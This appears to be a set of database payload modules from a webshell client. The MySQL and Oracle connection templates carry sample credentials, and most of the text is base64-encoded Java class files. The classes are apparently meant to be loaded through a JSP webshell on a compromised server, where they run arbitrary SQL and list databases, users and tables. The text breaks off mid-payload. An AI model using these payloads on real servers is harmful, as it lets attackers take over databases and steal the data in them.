VDrkARwIAOg+7ABJZtwATGQe2ABUZD7YAFRkEtgAVtgAWOgeEDgGn/8u7ABJZtwATGQe2ABUZBbYAFbYAFjoHGQy5AEgBAJkAVwQ2DhUOGQ25AEYBAKMALxkMFQ65AEkCADoPuwASWbcAExkHtgAVGQ+2ABUZBLYAFbYAFjoHhA4Bp//LuwASWbcAExkHtgAVGQW2ABW2ABY6B6f/pRkHsAAAAAIAVwAAAFoAFgAAAEIABABDAAoARAAcAEUAJwBGAEMARwBKAEgAUwBJAF0ASgBmAEwAawBNAHoATgCFAE8AoABNAKYAUQC8AFQAxgBVANUAVgDgAFcA+wBVAQEAWQEaAFsAWgAAAD4ABv8AbgAPBwBbBwBhBwBhBwBhBwBhBwBhAQcAYQcAawcAYQcAbAcAbQcAbgcAbwEAAPoANxX8AAwB+gA3GABmAAAABAABACMAAABwAHEAAgBWAAAAXgAHAAgAAAA6Eko6BRIHOga7ABJZtwATEku2ABUttgAVEky2ABUZBLYAFRJNtgAVtgAWOgcqKywZBxkFGQYEtgBOsAAAAAEAVwAAABIABAAAAF4ABABfAAgAYAAsAGEAZgAAAAQAAQAjAAEAcgAAAAIAcw==',
'var0': '#{encode}',
'var1': '#{conn}',
'var2': '#{db}',
'var3': '#{table}'
},
query: {
_: 'yv66vgAAADIA/AoATABwBwBxCgACAHIKAAIAcwgATQsAdAB1CAB2CQBLAHcIAHgIAHkJAEsAegcAewoADAB8CAB9CwB+AH8LAHQAgAsAfgCABwCBCgASAHAIAIIKABIAgwoAEgCECgBLAIUKAEsAhggAhwgAiAgAiQoADACKCgBLAIsKAAwAhAgAjAoAAgCNCgCOAI8HAJAIAJEKACIAhAgAkgoAJwCTBwCUCgAnAJUKACcAlggAlwgAmAoAJwCZBwCaCgAnAJsKAC0AnAoAJwCdCgAnAJ4KABIAnwgAoAoALQChCgAtAKIIAKMHAKQKADcAcAoANwClCgAnAKYIAKcIAKgKACcAqQoAJwCqCgCrAKwIAK0KAK4ArwsAsACxCwCyALMLALQAtQsAtgC3CwC2ALgLALQAuQsAtAC6CAC7CgBLALwHAGwHAL0BAAdlbmNvZGVyAQASTGphdmEvbGFuZy9TdHJpbmc7AQACY3MBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQANU3RhY2tNYXBUYWJsZQcAbAcAvQcAcQcAvgcAvwcAbAcAlAcAewcAkAEAAkVDAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAApFeGNlcHRpb25zAQAGZGVjb2RlBwCaAQAKZXhlY3V0ZVNRTAEAbyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztaKUxqYXZhL2xhbmcvU3RyaW5nOwcAwAcAwQcAwgcAwwcAxAEABXF1ZXJ5AQBKKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAApTb3VyY2VGaWxlAQAKcXVlcnkuamF2YQwAUABRAQAdamF2YXgvc2VydmxldC9qc3AvUGFnZUNvbnRleHQMAMUAxgwAxwDIBwC+DADJAGEBAAAMAE0ATgEAB2NoYXJzZXQBAAVVVEYtOAwATwBOAQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgwAUADKAQAJdGV4dC9odG1sBwC/DADLAMoMAMwAygEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAEdmFyMAwAzQDODADPANAMAGMAYQwAYABhAQAEdmFyMQEABHZhcjIBAAMtPnwMAM0A0QwAbABtAQADfDwtDADSANMHANQMANUAygEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAlFUlJPUjovLyABAANoZXgMAFQAVQEAEGphdmEvbGFuZy9TdHJpbmcMANYA1wwAUADYAQAEbnVsbAEAEDAxMjM0NTY3ODlBQkNERUYMANkA0AEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtDADaANsMAFAA3AwA3QDeDADfAOAMAM0A4QEAASwMAOIA3AwAzwBhAQAGYmFzZTY0AQAWc3VuL21pc2MvQkFTRTY0RGVjb2RlcgwA4wDkDADlANABAAINCgEAAQoMAOYA5wwA6ADpBwDqDADrAOwBABMmY2hhcmFjdGVyRW5jb2Rpbmc9BwDtDADuAO8HAMEMAPAA8QcAwgwA8gDzBwDDDAD0APUHAMQMAPYA2wwA9wD4DAD5APoMAPsA+AEAAwl8CQwAZQBmAQAQamF2YS9sYW5nL09iamVjdAEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEAE1tMamF2YS9sYW5nL1N0cmluZzsBABNqYXZhL3NxbC9Db25uZWN0aW9uAQASamF2YS9zcWwvU3RhdGVtZW50AQASamF2YS9zcWwvUmVzdWx0U2V0AQAaamF2YS9zcWwvUmVzdWx0U2V0TWV0YURhdGEBAApnZXRSZXF1ZXN0AQAgKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAAtnZXRSZXNwb25zZQEAISgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEADGdldFBhcmFtZXRlcgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEADnNldENvbnRlbnRUeXBlAQAUc2V0Q2hhcmFjdGVyRW5jb2RpbmcBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAsKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjsBAAZnZXRPdXQBAB8oKUxqYXZheC9zZXJ2bGV0L2pzcC9Kc3BXcml0ZXI7AQAbamF2YXgvc2VydmxldC9qc3AvSnNwV3JpdGVyAQAFcHJpbnQBAAhnZXRCeXRlcwEABCgpW0IBABcoW0JMamF2YS9sYW5nL1N0cmluZzspVgEAC3RvVXBwZXJDYXNlAQAGbGVuZ3RoAQADKClJAQAEKEkpVgEABmNoYXJBdAEABChJKUMBAAdpbmRleE9mAQAEKEkpSQEAHChJKUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAV3cml0ZQEADGRlY29kZUJ1ZmZlcgEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAR0cmltAQAHcmVwbGFjZQEARChMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTtMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspTGphdmEvbGFuZy9TdHJpbmc7AQAFc3BsaXQBACcoTGphdmEvbGFuZy9TdHJpbmc7KVtMamF2YS9sYW5nL1N0cmluZzsBAA9qYXZhL2xhbmcvQ2xhc3MBAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEAFmphdmEvc3FsL0RyaXZlck1hbmFnZXIBAA1nZXRDb25uZWN0aW9uAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9zcWwvQ29ubmVjdGlvbjsBAA9jcmVhdGVTdGF0ZW1lbnQBABYoKUxqYXZhL3NxbC9TdGF0ZW1lbnQ7AQAMZXhlY3V0ZVF1ZXJ5AQAoKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9zcWwvUmVzdWx0U2V0OwEAC2dldE1ldGFEYXRhAQAeKClMamF2YS9zcWwvUmVzdWx0U2V0TWV0YURhdGE7AQAOZ2V0Q29sdW1uQ291bnQBAA1nZXRDb2x1bW5OYW1lAQAVKEkpTGphdmEvbGFuZy9TdHJpbmc7AQAEbmV4dAEAAygpWgEACWdldFN0cmluZwAhAEsATAAA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',
'var0': '#{encode}',
'var1': '#{conn}',
'var2': '#{sql}'
}
})
\ No newline at end of file
/*
<T>XDB</T>
<X>
com.mysql.jdbc.Driver
jdbc:mysql://localhost/test?user=root&password=123456
</X>
*/
module.exports = require('./default');
\ No newline at end of file
/*
<T>XDB</T>
<X>
oracle.jdbc.driver.OracleDriver
jdbc:oracle:thin:user/password@127.0.0.1:1521/test
</X>
*/
module.exports = () => ({
show_databases: {
_: 'yv66vgAAADIA+goASwBvBwBwCgACAHEKAAIAcggATAsAcwB0CAB1CQBKAHYIAHcIAHgJAEoAeQcAegoADAB7CAB8CwB9AH4LAHMAfwsAfQB/BwCACgASAG8IAIEKABIAggoAEgCDCgBKAIQKAEoAhQgAhggAhwoADACICgBKAIkKAAwAgwgAigoAAgCLCgCMAI0HAI4IAI8KACEAgwgAkAoAJgCRBwCSCgAmAJMKACYAlAgAlQgAlgoAJgCXBwCYCgAmAJkKACwAmgoAJgCbCgAmAJwKABIAnQgAngoALACfCgAsAKAIAKEHAKIKADYAbwoANgCjCgAmAKQIAKUIAKYKACYApwoAJgCoCgCpAKoKAKsArAsArQCuCwCvALALALEAsgsAswC0CwCzALULALEAtgsAsQC3CAC4CAC5CgBKALoHAGsHALsBAAdlbmNvZGVyAQASTGphdmEvbGFuZy9TdHJpbmc7AQACY3MBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQANU3RhY2tNYXBUYWJsZQcAawcAuwcAcAcAvAcAvQcAawcAkgcAegcAjgEAAkVDAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAApFeGNlcHRpb25zAQAGZGVjb2RlBwCYAQAKZXhlY3V0ZVNRTAEAbyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztaKUxqYXZhL2xhbmcvU3RyaW5nOwcAvgcAvwcAwAcAwQcAwgEADXNob3dEYXRhYmFzZXMBADgoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAClNvdXJjZUZpbGUBABJzaG93RGF0YWJhc2VzLmphdmEMAE8AUAEAHWphdmF4L3NlcnZsZXQvanNwL1BhZ2VDb250ZXh0DADDAMQMAMUAxgcAvAwAxwBgAQAADABMAE0BAAdjaGFyc2V0AQAFVVRGLTgMAE4ATQEAFmphdmEvbGFuZy9TdHJpbmdCdWZmZXIMAE8AyAEACXRleHQvaHRtbAcAvQwAyQDIDADKAMgBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEABHZhcjAMAMsAzAwAzQDODABiAGAMAF8AYAEABHZhcjEBAAMtPnwMAMsAzwwAawBsAQADfDwtDADQANEHANIMANMAyAEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAlFUlJPUjovLyABAANoZXgMAFMAVAEAEGphdmEvbGFuZy9TdHJpbmcMANQA1QwATwDWAQAEbnVsbAEAEDAxMjM0NTY3ODlBQkNERUYMANcAzgEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtDADYANkMAE8A2gwA2wDcDADdAN4MAMsA3wEAASwMAOAA2gwAzQBgAQAGYmFzZTY0AQAWc3VuL21pc2MvQkFTRTY0RGVjb2RlcgwA4QDiDADjAM4BAAINCgEAAQoMAOQA5QwA5gDnBwDoDADpAOoHAOsMAOwA7QcAvwwA7gDvBwDADADwAPEHAMEMAPIA8wcAwgwA9ADZDAD1APYMAPcA+AwA+QD2AQApU0VMRUNUIFVTRVJOQU1FIEZST00gQUxMX1VTRVJTIE9SREVSIEJZIDEBAAEJDABkAGUBABBqYXZhL2xhbmcvT2JqZWN0AQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAE2phdmEvc3FsL0Nvbm5lY3Rpb24BABJqYXZhL3NxbC9TdGF0ZW1lbnQBABJqYXZhL3NxbC9SZXN1bHRTZXQBABpqYXZhL3NxbC9SZXN1bHRTZXRNZXRhRGF0YQEACmdldFJlcXVlc3QBACAoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAC2dldFJlc3BvbnNlAQAhKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQAMZ2V0UGFyYW1ldGVyAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAOc2V0Q29udGVudFR5cGUBABRzZXRDaGFyYWN0ZXJFbmNvZGluZwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsBACwoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVmZmVyOwEABmdldE91dAEAHygpTGphdmF4L3NlcnZsZXQvanNwL0pzcFdyaXRlcjsBABtqYXZheC9zZXJ2bGV0L2pzcC9Kc3BXcml0ZXIBAAVwcmludAEACGdldEJ5dGVzAQAEKClbQgEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWAQALdG9VcHBlckNhc2UBAAZsZW5ndGgBAAMoKUkBAAQoSSlWAQAGY2hhckF0AQAEKEkpQwEAB2luZGV4T2YBAAQoSSlJAQAcKEkpTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEABXdyaXRlAQAMZGVjb2RlQnVmZmVyAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEABHRyaW0BAAdyZXBsYWNlAQBEKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlO0xqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylMamF2YS9sYW5nL1N0cmluZzsBAAVzcGxpdAEAJyhMamF2YS9sYW5nL1N0cmluZzspW0xqYXZhL2xhbmcvU3RyaW5nOwEAD2phdmEvbGFuZy9DbGFzcwEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAWamF2YS9zcWwvRHJpdmVyTWFuYWdlcgEADWdldENvbm5lY3Rpb24BAE0oTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3NxbC9Db25uZWN0aW9uOwEAD2NyZWF0ZVN0YXRlbWVudAEAFigpTGphdmEvc3FsL1N0YXRlbWVudDsBAAxleGVjdXRlUXVlcnkBACgoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3NxbC9SZXN1bHRTZXQ7AQALZ2V0TWV0YURhdGEBAB4oKUxqYXZhL3NxbC9SZXN1bHRTZXRNZXRhRGF0YTsBAA5nZXRDb2x1bW5Db3VudAEADWdldENvbHVtbk5hbWUBABUoSSlMamF2YS9s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',
'var0': '#{encode}',
'var1': '#{conn}'
},
show_tables: {
_: 'yv66vgAAADIA/goATQBxBwByCgACAHMKAAIAdAgATgsAdQB2CAB3CQBMAHgIAHkIAHoJAEwAewcAfAoADAB9CAB+CwB/AIALAHUAgQsAfwCBBwCCCgASAHEIAIMKABIAhAoAEgCFCgBMAIYKAEwAhwgAiAgAiQgAigoADACLCgBMAIwKAAwAhQgAjQoAAgCOCgCPAJAHAJEIAJIKACIAhQgAkwoAJwCUBwCVCgAnAJYKACcAlwgAmAgAmQoAJwCaBwCbCgAnAJwKAC0AnQoAJwCeCgAnAJ8KABIAoAgAoQoALQCiCgAtAKMIAKQHAKUKADcAcQoANwCmCgAnAKcIAKgIAKkKACcAqgoAJwCrCgCsAK0KAK4ArwsAsACxCwCyALMLALQAtQsAtgC3CwC2ALgLALQAuQsAtAC6CAC7CAC8CAC9CgBMAL4HAG0HAL8BAAdlbmNvZGVyAQASTGphdmEvbGFuZy9TdHJpbmc7AQACY3MBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQANU3RhY2tNYXBUYWJsZQcAbQcAvwcAcgcAwAcAwQcAbQcAlQcAfAcAkQEAAkVDAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAApFeGNlcHRpb25zAQAGZGVjb2RlBwCbAQAKZXhlY3V0ZVNRTAEAbyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztaKUxqYXZhL2xhbmcvU3RyaW5nOwcAwgcAwwcAxAcAxQcAxgEACnNob3dUYWJsZXMBAEooTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAClNvdXJjZUZpbGUBAA9zaG93VGFibGVzLmphdmEMAFEAUgEAHWphdmF4L3NlcnZsZXQvanNwL1BhZ2VDb250ZXh0DADHAMgMAMkAygcAwAwAywBiAQAADABOAE8BAAdjaGFyc2V0AQAFVVRGLTgMAFAATwEAFmphdmEvbGFuZy9TdHJpbmdCdWZmZXIMAFEAzAEACXRleHQvaHRtbAcAwQwAzQDMDADOAMwBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEABHZhcjAMAM8A0AwA0QDSDABkAGIMAGEAYgEABHZhcjEBAAR2YXIyAQADLT58DADPANMMAG0AbgEAA3w8LQwA1ADVBwDWDADXAMwBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAJRVJST1I6Ly8gAQADaGV4DABVAFYBABBqYXZhL2xhbmcvU3RyaW5nDADYANkMAFEA2gEABG51bGwBABAwMTIzNDU2Nzg5QUJDREVGDADbANIBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQwA3ADdDABRAN4MAN8A4AwA4QDiDADPAOMBAAEsDADkAN4MANEAYgEABmJhc2U2NAEAFnN1bi9taXNjL0JBU0U2NERlY29kZXIMAOUA5gwA5wDSAQACDQoBAAEKDADoAOkMAOoA6wcA7AwA7QDuBwDvDADwAPEHAMMMAPIA8wcAxAwA9AD1BwDFDAD2APcHAMYMAPgA3QwA+QD6DAD7APwMAP0A+gEAR1NFTEVDVCBUQUJMRV9OQU1FIEZST00gKFNFTEVDVCBUQUJMRV9OQU1FIEZST00gQUxMX1RBQkxFUyBXSEVSRSBPV05FUj0nAQANJyBPUkRFUiBCWSAxKQEAAQkMAGYAZwEAEGphdmEvbGFuZy9PYmplY3QBABxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0AQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UBABNbTGphdmEvbGFuZy9TdHJpbmc7AQATamF2YS9zcWwvQ29ubmVjdGlvbgEAEmphdmEvc3FsL1N0YXRlbWVudAEAEmphdmEvc3FsL1Jlc3VsdFNldAEAGmphdmEvc3FsL1Jlc3VsdFNldE1ldGFEYXRhAQAKZ2V0UmVxdWVzdAEAICgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQALZ2V0UmVzcG9uc2UBACEoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAxnZXRQYXJhbWV0ZXIBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA5zZXRDb250ZW50VHlwZQEAFHNldENoYXJhY3RlckVuY29kaW5nAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7AQAGZ2V0T3V0AQAfKClMamF2YXgvc2VydmxldC9qc3AvSnNwV3JpdGVyOwEAG2phdmF4L3NlcnZsZXQvanNwL0pzcFdyaXRlcgEABXByaW50AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAAt0b1VwcGVyQ2FzZQEABmxlbmd0aAEAAygpSQEABChJKVYBAAZjaGFyQXQBAAQoSSlDAQAHaW5kZXhPZgEABChJKUkBABwoSSlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAFd3JpdGUBAAxkZWNvZGVCdWZmZXIBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCAQAEdHJpbQEAB3JlcGxhY2UBAEQoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7TGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KUxqYXZhL2xhbmcvU3RyaW5nOwEABXNwbGl0AQAnKExqYXZhL2xhbmcvU3RyaW5nOylbTGphdmEvbGFuZy9TdHJpbmc7AQAPamF2YS9sYW5nL0NsYXNzAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBABZqYXZhL3N